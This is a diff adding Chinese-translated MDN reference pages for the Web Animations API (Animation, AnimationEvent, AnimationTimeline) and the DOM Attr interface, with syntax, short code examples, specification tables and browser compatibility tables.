暂停播放动画。.
+
+ +
+
{{domxref("Animation.play()")}}
+
开始或恢复播放动画,或者如果之前完成,则重新开始动画。
+
+ +
+
{{domxref("Animation.reverse()")}}
+
反转播放动画,直到播放到动画开始时停止。 如果动画完成或未播放,它将从头到尾播放。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web Animations", "#the-animation-interface", "Animation")}}{{Spec2("Web Animations")}}Initial definition
+ +

浏览器兼容性

+ +
{{Compat("api.Animation")}}
diff --git a/files/zh-cn/web/api/animation/oncancel/index.html b/files/zh-cn/web/api/animation/oncancel/index.html new file mode 100644 index 0000000000..00e9b0fc98 --- /dev/null +++ b/files/zh-cn/web/api/animation/oncancel/index.html @@ -0,0 +1,111 @@ +--- +title: Animation.oncancel +slug: Web/API/Animation/oncancel +tags: + - API + - Animation +translation_of: Web/API/Animation/oncancel +--- +

{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}

+ +

Web Animations API 的 {{domxref("Animation")}} 接口的 oncancel 属性是 {{event("cancel")}} 事件的事件处理程序。

+ +

当动作从其他状态进入 "idle" 播放状态,例如当动画在结束播放后从元素中移除时,cancel 事件可以 {{domxref("Animation.cancel()")}} 被手动触发。 

+ +
+

在新的动画中,创建一个新的初始的空闲动画不会触发 {{event("cancel")}} 事件。

+
+ +

语法

+ +
var cancelHandler = Animation.oncancel;
+
+Animation.oncancel = cancelHandler;
+ +

+ +

当动画被取消时,这个函数将会被执行。默认是 null 。

+ +

例子

+ +

如果动画被取消,将会从元素中移除它。

+ +
animation.oncancel = animation.effect.target.remove();
+
+ +

标准

+ + + + + + + + + + + + + + +
标准状态备注
{{SpecName('Web Animations', '#dom-animation-oncancel', 'Animation.oncancel' )}}{{Spec2('Web Animations')}}编辑草案中。
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基础支持{{CompatChrome(39.0)}}{{CompatGeckoDesktop(48)}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
功能AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基础支持{{CompatVersionUnknown}}{{CompatGeckoMobile(48)}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Web Animations API 默认在 Firefox Developer Edition 和 Nightly builds 被启用。你可以在设置属性 dom.animations-api.core.enabled 为 true 时在 Beta 和 发行版 开启这个功能,你可以设置为 false 来禁用这个功能。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/animation/play/index.html b/files/zh-cn/web/api/animation/play/index.html new file mode 100644 index 0000000000..4ff52dd3c6 --- /dev/null +++ b/files/zh-cn/web/api/animation/play/index.html @@ -0,0 +1,91 @@ +--- +title: Animation.play() +slug: Web/API/Animation/play +translation_of: Web/API/Animation/play +--- +
{{ APIRef("Web Animations") }}{{SeeCompatTable}}
+ +

Web Animations API的{{ domxref("Animation") }}接口中的play() 方法 可开始或恢复动画的播放. 如果动画结束,则调用play()重新启动动画,从头开始播放。

+ +

语法

+ +
animation.play();
+
+ +

参数

+ +

无.

+ +

返回值

+ +

{{jsxref("undefined")}}

+ +

例子

+ +

在 Growing/Shrinking Alice Game 示例中, 单击或点击蛋糕会导致Alice的增长动画 (aliceChange) 播放,导致她体型变大并触发蛋糕的动画。在以下示例中,使用了一个事件监听器来触发两者的动画:

+ +
// 蛋糕拥有其自己的动画:
+var nommingCake = document.getElementById('eat-me_sprite').animate(
+[
+  { transform: 'translateY(0)' },
+  { transform: 'translateY(-80%)' }
+], {
+  fill: 'forwards',
+  easing: 'steps(4, end)',
+  duration: aliceChange.effect.timing.duration / 2
+});
+
+// 暂停蛋糕的动画,以避免动画立即播放.
+nommingCake.pause();
+
+// 该函数会在用户点击时触发
+var growAlice = function() {
+
+  // Play Alice's animation.
+  aliceChange.play();
+
+  // Play the cake's animation.
+  nommingCake.play();
+
+}
+
+// 当用户持续按下或点击时, 调用 growAlice 函数使得所有的动画播放.
+cake.addEventListener("mousedown", growAlice, false);
+cake.addEventListener("touchstart", growAlice, false);
+
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#dom-animation-play', 'play()')}}{{Spec2("Web Animations")}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Animation.play")}}

+
+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/animation/playstate/index.html b/files/zh-cn/web/api/animation/playstate/index.html new file mode 100644 index 0000000000..b3bedac354 --- /dev/null +++ b/files/zh-cn/web/api/animation/playstate/index.html @@ -0,0 +1,156 @@ +--- +title: Animation.playState +slug: Web/API/Animation/playState +tags: + - Animation + - animation api + - 动画 + - 运动状态 +translation_of: Web/API/Animation/playState +--- +

{{APIRef("Web Animations")}}{{SeeCompatTable}}

+ +

作为一个 Web Animations API 的属性,Animation.playState 能够返回并设置一个可枚举值来描述一个动画的回放状态。

+ +
+

这个属性只对CSS Animations 和 Transitions可读。

+
+ +

语法

+ +
var currentPlayState = Animation.playState;
+
+Animation.playState = newState;
+
+ +

可能的值

+ +
+
idle
+
动画当前的时间是无法解析的,并且队列里没有处于等待执行的任务。
+
pending
+
动画将一直等到某些等待中的任务完成方会执行。
+
running
+
动画处于正在运行状态。
+
paused
+
动画中止,并且{{domxref("Animation.currentTime")}}该项属性不会更新。
+
finished
+
动画已经达到某一临界点,并且{{domxref("Animation.currentTime")}}该项属性不会更新。
+
+ +

实例

+ +

Growing/Shrinking Alice Game这个例子中, 玩家们可以凭Alice crying into a pool of tears结束游戏。出于性能原因,游戏里,眼泪只当可见之时才能运动。因此,这些泪滴必须在下面的情况下刚好暂停运动:

+ +
// 创建泪珠动画
+
+tears.forEach(function(el) {
+  el.animate(
+    tearsFalling,
+    {
+      delay: getRandomMsRange(-1000, 1000), // 获取每一滴随机泪珠
+      duration: getRandomMsRange(2000, 6000), // 获取每一滴随机泪珠
+      iterations: Infinity,
+      easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)"
+    });
+  el.playState = 'paused';
+});
+
+
+// 结尾需要现出时播放眼泪降落动画
+
+tears.forEach(function(el) {
+  el.playState = 'playing';
+});
+
+
+// 暂停并重置正在哭泣时的泪滴动画
+
+tears.forEach(function(el) {
+  el.playState = "paused";
+  el.currentTime = 0;
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
格式状态注解
{{SpecName('Web Animations', '#play-state', 'playState')}}{{Spec2("Web Animations")}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(39.0)}} [1]{{CompatGeckoDesktop(48)}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(39.0)}} [1]{{CompatChrome(39.0)}} [1]{{CompatGeckoMobile(48)}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 在Chrome 50之前, idle 这项属性只用在还没开始的动画上,而在Chrome 50之后, 以 paused显示.

+ +

[2] 默认情况下,Web Animations API 只在Firefox Developer Edition 和 Nightly builds可用。您可以在测试版和公开版的设置里通过配置偏好来启用,将dom.animations-api.core.enabled 设为 true, 然后也可在任何版本的Firefox上通过设置为false来禁用它。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/animationevent/animationevent/index.html b/files/zh-cn/web/api/animationevent/animationevent/index.html new file mode 100644 index 0000000000..071cb39e9e --- /dev/null +++ b/files/zh-cn/web/api/animationevent/animationevent/index.html @@ -0,0 +1,128 @@ +--- +title: AnimationEvent() +slug: Web/API/AnimationEvent/AnimationEvent +translation_of: Web/API/AnimationEvent/AnimationEvent +--- +

{{APIRef("Web Animations API")}}{{SeeCompatTable}}

+ +

The AnimationEvent() constructor returns a newly created {{domxref("AnimationEvent")}}, representing an event in relation with an animation.

+ +

语法

+ +
animationEvent = new AnimationEvent(type, {animationName: aPropertyName,
+                                           elapsedTime  : aFloat,
+                                           pseudoElement: aPseudoElementName});
+
+ +

参数

+ +

The AnimationEvent() constructor also inherits arguments from {{domxref("Event.Event", "Event()")}}.

+ +
+
type
+
A {{domxref("DOMString")}} 代表AnimationEvent类型的名称。大小写敏感,有三个值可选:'animationstart', 'animationend', 和 'animationiteration'。
+
animationName {{optional_inline}}
+
A {{domxref("DOMString")}} containing the value of the {{cssxref("animation-name")}} CSS property associated with the transition. It defaults to "".
+
elapsedTime {{optional_inline}}
+
A float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. For an "animationstart" event, elapsedTime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedTime containing  (-1 * delay). It defaults to 0.0.
+
pseudoElement {{optional_inline}}
+
Is a {{domxref("DOMString")}}, starting with "::", containing the name of the pseudo-element the animation runs on. If the animation doesn't run on a pseudo-element but on the element, an empty string: "". It defaults to ""
+
+ +

标准

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent()') }}{{ Spec2('CSS3 Animations')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(43.0)}}{{ CompatGeckoDesktop("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
pseudoElement{{CompatNo}}{{ CompatGeckoDesktop("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{ CompatGeckoMobile("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(43.0)}}
pseudoElement{{CompatNo}}{{ CompatGeckoMobile("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

参考

+ + + + diff --git a/files/zh-cn/web/api/animationevent/animationname/index.html b/files/zh-cn/web/api/animationevent/animationname/index.html new file mode 100644 index 0000000000..646e8cb4c1 --- /dev/null +++ b/files/zh-cn/web/api/animationevent/animationname/index.html @@ -0,0 +1,91 @@ +--- +title: AnimationEvent.animationName +slug: Web/API/AnimationEvent/animationName +translation_of: Web/API/AnimationEvent/animationName +--- +

{{SeeCompatTable}}{{ apiref("Web Animations API") }}

+ +

The AnimationEvent.animationName read-only property is a {{domxref("DOMString")}} containing the value of the {{cssxref("animation-name")}} CSS property associated with the transition.

+ +

Syntax

+ +
name = AnimationEvent.animationName
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-animationName', 'AnimationEvent.animationName') }}{{ Spec2('CSS3 Animations')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{ CompatGeckoDesktop("6.0") }}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/animationevent/index.html b/files/zh-cn/web/api/animationevent/index.html new file mode 100644 index 0000000000..a6358ac380 --- /dev/null +++ b/files/zh-cn/web/api/animationevent/index.html @@ -0,0 +1,173 @@ +--- +title: AnimationEvent +slug: Web/API/AnimationEvent +tags: + - AnimationEvent +translation_of: Web/API/AnimationEvent +--- +

{{SeeCompatTable}}{{APIRef("Web Animations API")}}

+ +

Summary

+ +

AnimationEvent 接口表示提供与动画相关的信息的事件。

+ +

{{InheritanceDiagram}}

+ +

Properties

+ +

属性继承其父级{{domxref("Event")}}.

+ +
+
{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}
+
Is a {{domxref("DOMString")}} containing the value of the {{cssxref("animation-name")}} CSS property associated with the transition.
+
{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}
+
Is a float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. For an "animationstart" event, elapsedTime is 0.0 unless there was a negative value for {{cssxref("animation-delay")}}, in which case the event will be fired with elapsedTime containing  (-1 * delay).
+
{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}
+
Is a {{domxref("DOMString")}}, starting with '::', containing the name of the pseudo-element the animation runs on. If the animation doesn't run on a pseudo-element but on the element, an empty string: ''.
+
+ +

Constructor

+ +
+
{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}
+
Creates an AnimationEvent event with the given parameters.
+
+ +

Methods

+ +

Also inherits methods from its parent {{domxref("Event")}}.

+ +
+
{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}
+
Initializes a AnimationEvent created using the deprecated {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}} method.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}{{ Spec2('CSS3 Animations') }}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0 {{ property_prefix("webkit") }}{{ CompatGeckoDesktop("6.0") }}10.012 {{ property_prefix("o") }}
+ 12.10 (without prefix)
+ 15.0 {{ property_prefix("webkit") }}
4.0 {{ property_prefix("webkit") }}
AnimationEvent() constructor{{CompatNo}}{{ CompatGeckoDesktop("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
initAnimationEvent() {{non-standard_inline}}{{deprecated_inline}}1.0{{ CompatGeckoDesktop("6.0") }}
+ Removed in {{ CompatGeckoDesktop("23.0") }}
10.0124.0
pseudoelement{{CompatNo}}{{ CompatGeckoDesktop("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{ property_prefix("webkit") }}{{ CompatGeckoMobile("6.0") }}10.012 {{ property_prefix("o") }}
+ 12.10 (without prefix)
+ 15.0 {{ property_prefix("webkit") }}
{{CompatVersionUnknown}}{{ property_prefix("webkit") }}
AnimationEvent() constructor{{CompatNo}}{{ CompatGeckoMobile("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
initAnimationEvent() {{non-standard_inline}}{{deprecated_inline}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("6.0") }}
+ Removed in {{ CompatGeckoMobile("23.0") }}
10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
pseudoelement{{CompatNo}}{{ CompatGeckoMobile("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/animationtimeline/index.html b/files/zh-cn/web/api/animationtimeline/index.html new file mode 100644 index 0000000000..bdb6b06907 --- /dev/null +++ b/files/zh-cn/web/api/animationtimeline/index.html @@ -0,0 +1,98 @@ +--- +title: AnimationTimeline +slug: Web/API/AnimationTimeline +translation_of: Web/API/AnimationTimeline +--- +
{{ SeeCompatTable() }} {{ APIRef("Web Animations", "Web动画")}}
+ +

Web动画APIAnimationTimeline接口表示动画的时间轴。这个接口用于定义时间轴功能(被{{ domxref("DocumentTimeline", "文档时间线") }}和未来的时间轴类型所继承),但本身并不能被开发人员直接使用。无论何处当你要用AnimationTimeline,都应该使用DocumentTimeline其他时间轴类型来实例化。

+ +

属性

+ +
+
{{domxref("AnimationTimeline.currentTime")}} {{readonlyInline}}
+
返回此时间轴的时间值(以毫秒为单位),若此时间轴未激活则返回null
+
+ +

规格

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('Web Animations','#the-animationtimeline-interface','AnimationTimeline')}}{{Spec2('Web Animations')}}编辑者草稿。
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatNo}}{{CompatGeckoDesktop(48)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
功能AndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
基本支持{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(48)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ +

[1] Web动画API仅在Firefox Developer Edition和Nightly构建中默认启用。您可以在测试启用它,并发布版本通过设定的偏好dom.animations-api.core.enabledtrue,并且可以通过设置此优先于任何版本的Firefox禁用它false

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/attr/index.html b/files/zh-cn/web/api/attr/index.html new file mode 100644 index 0000000000..a87717916d --- /dev/null +++ b/files/zh-cn/web/api/attr/index.html @@ -0,0 +1,238 @@ +--- +title: Attr +slug: Web/API/Attr +tags: + - 应用接口 + - 文档对象模型 + - 浏览器兼容性 +translation_of: Web/API/Attr +--- +
{{APIRef("DOM")}}
+ +

该类型使用对象来表示一个DOM元素的属性。在大多数DOM方法中,你可能会直接通过字符串的方式获取属性值(例如{{domxref("Element.getAttribute()")}}),但是一些函数(例如{{domxref("Element.getAttributeNode()")}})或通过迭代器访问时则返回Attr类型。

+ +

{{InheritanceDiagram}}

+ +
警告:从Gecko 7.0开始{{geckoRelease("7.0")}},控制台会输出这些方法和属性将会被移除的警告信息。你应该对代码进行相应的修正。点击{{anch("Deprecated properties and methods")}}查看完整的列表。
+ +
DOM4[REC]中,为了规范化Attr的实现,它不再继承自{{domxref("Node")}}。在目前DOM4.1[WD]中又有变动,因此不建议使用Attr对象上有关{{domxref("Node")}}的属性和方法。
+ +

属性

+ +
+
{{domxref("Attr.name", "name")}} {{readOnlyInline}}
+
该属性的名称
+
{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}
+
+

表示该属性的命名空间URI{{domxref("DOMString")}},如果该元素不在命名空间中,则返回null。

+
+
{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}
+
+

表示该属性的命名空间限定的本地名称{{domxref("DOMString")}}。

+
+
{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}
+
表示该属性的命名空间前缀{{domxref("DOMString")}},如果没有前缀指定则返回null。
+
{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}
+
+

该属性所附属的元素节点。

+ +
+

注意: DOM Level 4移除了这个方法。由于当你从{{domxref("Element")}}中获得Attr对象时,你应已知相关的元素。
+ 在某些场景下并一定能够得到相关的元素,比如通过{{domxref("Document.evaluate")}}返回的Attr对象,最新的DOM草案再次引入该属性。

+ +

Gecko从Gecko 7.0 {{geckoRelease("7.0")}}开始会输出一个废弃的提示信息。 该提示信息在Gecko 49.0 {{geckoRelease("49.0")}}再次被删除。

+
+
+
{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}
+
该属性将返回。如果这个属性你在源代码或者在脚本中明确指定的话,它总是返回真。否则它是由文档的DTD默认定义的,将总是返回
+
{{domxref("Attr.value", "value")}}
+
属性的值
+
+ +
+

注意: DOM Level 3定义namespaceURI, localNameprefix为{{domxref("Node")}}接口。在DOM4中被移至Attr

+ +

Chrome 46.0版本以上、Firefox 48.0版本以上实现了该改动。

+
+ +

废弃的属性和方法

+ +

这些属性已经被废弃,可以使用合适的属性替代。

+ +
+
attributes
+
+

当前该属性总是返回 NULL

+
+
childNodes {{obsolete_inline(14)}}
+
当前该属性总是返回一个空的 {{domxref("NodeList")}}.
+
firstChild {{obsolete_inline(14)}}
+
当前该属性总是返回NULL
+
isId {{readOnlyInline}}
+
表明该属性是否一个“ID 属性”。“ID 属性”的值在整个DOM文档中应当是唯一。在HTML DOM文档中属性“id”是一个ID属性,也是唯一一个ID属性;但是在XML文档中可以定义其他ID属性。一个属性是否是唯一的,通常由{{Glossary("DTD")}}或其他文档模式描述文件决定。
+
lastChild
+
当前该属性总是返回NULL
+
nextSibling
+
当前该属性总是返回NULL
+
nodeName
+
使用{{domxref("Attr.name")}}来代替
+
nodeType
+
当前该属性总是返回2,表示ATTRIBUTE_NODE
+
nodeValue
+
使用{{domxref("Attr.value")}}来代替
+
ownerDocument
+
这个属性本不应当在这里被使用,所以应该无须担心其演变
+
parentNode
+
当前该属性总是返回NULL
+
previousSibling
+
当前该属性总是返回NULL
+
schemaTypeInfo {{obsolete_inline}} {{readOnlyInline}}
+
当前属性的类型信息。然而当加载完文档完或调用{{domxref("Document.normalizeDocument")}}后,这个被认定为绝对正确的包含在节点内的类型信息,会因为节点的移动而变得不可信。
+
specified
+
当前该属性总是返回true
+
textContent
+
使用{{domxref("Attr.value")}}来代替
+
+ +

这些方法已经被废弃:

+ +
+
appendChild(){{obsolete_inline(14)}}
+
通过编辑{{domxref("Attr.value")}}属性来实现相同的效果
+
cloneNode()
+
这个方法本不应当在这里被使用,所以无须担心其演变
+
createAttribute()
+
使用{{domxref("Element.setAttribute()")}}来代替
+
createAttributeNS()
+
使用{{domxref("Element.setAttributeNS()")}}来代替
+
getAttributeNode()
+
使用{{domxref("Element.getAttribute()")}}来代替
+
getAttributeNodeNS()
+
使用{{domxref("Element.getAttributeNS()")}}来代替
+
hasAttributes() {{obsolete_inline("21.0")}}
+
当前该方法总是返回false.
+
hasChildNodes()
+
当前该方法总是返回false.
+
insertBefore()
+
通过编辑{{domxref("Attr.value")}}来实现相同效果
+
isSupported()
+
这个方法本不应当被在这里使用,所以无须担心其演变
+
isEqualNode()
+
这个方法本不应当被在这里使用,所以无须担心其演变
+
normalize()
+
这个方法本不应当被在这里使用,所以无须担心其演变
+
removeAttributeNode()
+
使用{{domxref("Element.removeAttribute()")}}来代替
+
removeChild(){{obsolete_inline(14)}}
+
通过编辑{{domxref("Attr.value")}}来实现相同效果
+
replaceChild(){{obsolete_inline(14)}}
+
通过编辑{{domxref("Attr.value")}}来实现相同效果
+
setAttributeNode()
+
使用{{domxref("Element.setAttribute()")}}来代替
+
setAttributeNodeNS()
+
使用{{domxref("Element.setAttributeNS()")}}来代替
+
+ +

规格

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName("DOM WHATWG", "#interface-attr", "Attr")}}{{Spec2("DOM WHATWG")}}加回 ownerElement 属性
{{SpecName("DOM4", "#interface-attr", "Attr")}}{{Spec2("DOM4")}}namespaceURI、prefixlocalName从 {{domxref("Node")}} 移至本API,且删除 ownerElement、schemaTypeInfoisId.
{{SpecName("DOM3 Core", "core.html#ID-637646024", "Attr")}}{{Spec2("DOM3 Core")}} +

扩展 schemaTypeInfo, isId

+
Document Object Model (DOM) Level 1 Core Specification
+ Attr
Obsolete初始定义
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]
+
+ +

[1] As of Chrome 45, this property no longer inherits from Node.

+ +

参考

+ + diff --git a/files/zh-cn/web/api/attr/localname/index.html b/files/zh-cn/web/api/attr/localname/index.html new file mode 100644 index 0000000000..352e0aa02f --- /dev/null +++ b/files/zh-cn/web/api/attr/localname/index.html @@ -0,0 +1,82 @@ +--- +title: Attr.localName +slug: Web/API/Attr/localName +translation_of: Web/API/Attr/localName +--- +
{{APIRef("DOM")}}
+ +

Attr.localName 为只读属性,返回一个属性限定名称的本名部分(去除命名空间前缀的名字)。

+ +
+

在之前的DOM规范中此API被定义在 {{domxref("Node")}} 接口中。

+
+ +

语法

+ +
name = attribute.localName
+
+ +

返回值

+ +

属性的限定名称的本名 {{domxref("DOMString")}} 。

+ +

示例

+ +

下面的例子将弹出一个有“id”文字的警告窗口。

+ +

HTML 代码

+ +
<button id="example">Click me</button>
+ +

JavaScript 代码

+ +
const element = document.querySelector("#example");
+element.addEventListener("click", function() {
+  const attribute = element.attributes[0];
+  alert(attribute.localName);
+});
+
+ +

{{ EmbedLiveSample('Example','100%',30) }}

+ +

注意

+ +

本文档中属性的“本名(local name)”指的是属性“限定名称(qualified names)”的命名空间冒号之后的部分。“限定名称”通常作为XML文档命名空间的一部分用在XML代码内。 

+ +
+

注意:在{{Gecko("1.9.2")}} 以及跟早的版本中,HTML DOM 访问该属性将返回 HTML 节点属性的大写字符串本名(有别于 XML DOM 的 XHTML 属性)。在后来的版本中,为遵循HTML5 标准,该属性返回 DOM 内部存储的名称,即,不论 HTML DOM 的 HTML 属性还是 XML DOM 的 XHTML属性都是小写字符串。

+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-attr-localname', 'Attr.localName')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Attr.localName")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/attr/namespaceuri/index.html b/files/zh-cn/web/api/attr/namespaceuri/index.html new file mode 100644 index 0000000000..eab2e0094c --- /dev/null +++ b/files/zh-cn/web/api/attr/namespaceuri/index.html @@ -0,0 +1,121 @@ +--- +title: Attr.namespaceURI +slug: Web/API/Attr/namespaceURI +translation_of: Web/API/Attr/namespaceURI +--- +
{{APIRef("DOM")}}
+ +

Attr.namespaceURI 只读属性返回属性的命名空间URI,如果该元素不在命名空间中,则返回null。

+ +
+

在DOM4之前,该API是在 {{domxref("Node")}} 中定义的。

+
+ +

语法

+ +
namespace = attribute.namespaceURI
+ +

例子

+ +

在这个片段中,正在检查一个属性的 {{domxref("localName")}} 和 namespaceURI. 如果 namespaceURI 返回XUL命名空间,并且localName返回 "browser",则该节点被理解为XUL  <browser/>

+ +
if (attribute.localName == "value" &&
+    attribute.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // this is a XUL value
+}
+ +

笔记

+ +

这不是基于对范围中的命名空间声明的检查的命名空间查找的结果的计算值。
+ 属性的命名空间URI在属性创建时被冻结。

+ +

在Firefox 3.5及更早版本中,HTML文档中HTML属性的命名空间URI为null。
+ 在后来的版本中,遵照HTML5,就像在XHTML中一样是https://www.w3.org/1999/xhtml{{gecko_minversion_inline("1.9.2")}}

+ +

您可以使用DOM Level 2方法 {{domxref("Element.setAttributeNS")}}创建具有指定namespaceURI的属性。

+ +

根据 Namespaces in XML 规范, 属性不会从其附加的元素继承其命名空间。
+ 如果一个属性没有明确地给出一个命名空间,它没有命名空间。

+ +

DOM本身不处理或强制命名空间验证。 DOM应用程序需要做任何必要的验证。
+ 还要注意,一旦与特定节点相关联,命名空间前缀将无法更改。

+ +

规格

+ + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName("DOM4", "#dom-element-namespaceuri", "Element.namespaceuri")}}{{Spec2("DOM4")}}初始定义
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
特征ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持46.0[1]{{CompatGeckoDesktop("48.0")}}[1]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
特征AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatUnknown}}{{CompatGeckoMobile("48.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 此API以前在 {{domxref("Node")}} API上可用。

+ +

其他文章

+ + diff --git a/files/zh-cn/web/api/attr/prefix/index.html b/files/zh-cn/web/api/attr/prefix/index.html new file mode 100644 index 0000000000..16215636ec --- /dev/null +++ b/files/zh-cn/web/api/attr/prefix/index.html @@ -0,0 +1,67 @@ +--- +title: Attr.prefix +slug: Web/API/Attr/prefix +translation_of: Web/API/Attr/prefix +--- +
{{APIRef("DOM")}}
+ +

Attr.prefix 为只读属性,返回指定标签属性的名字空间前缀,如果没有前缀则返回 null

+ +
+

在 DOM4 之前此 API 被定义在 {{domxref("Node")}} 接口中。

+
+ +

语法

+ +
string = attribute.prefix
+
+ +

示例

+ +

下例在控制台中输出“x”。

+ +
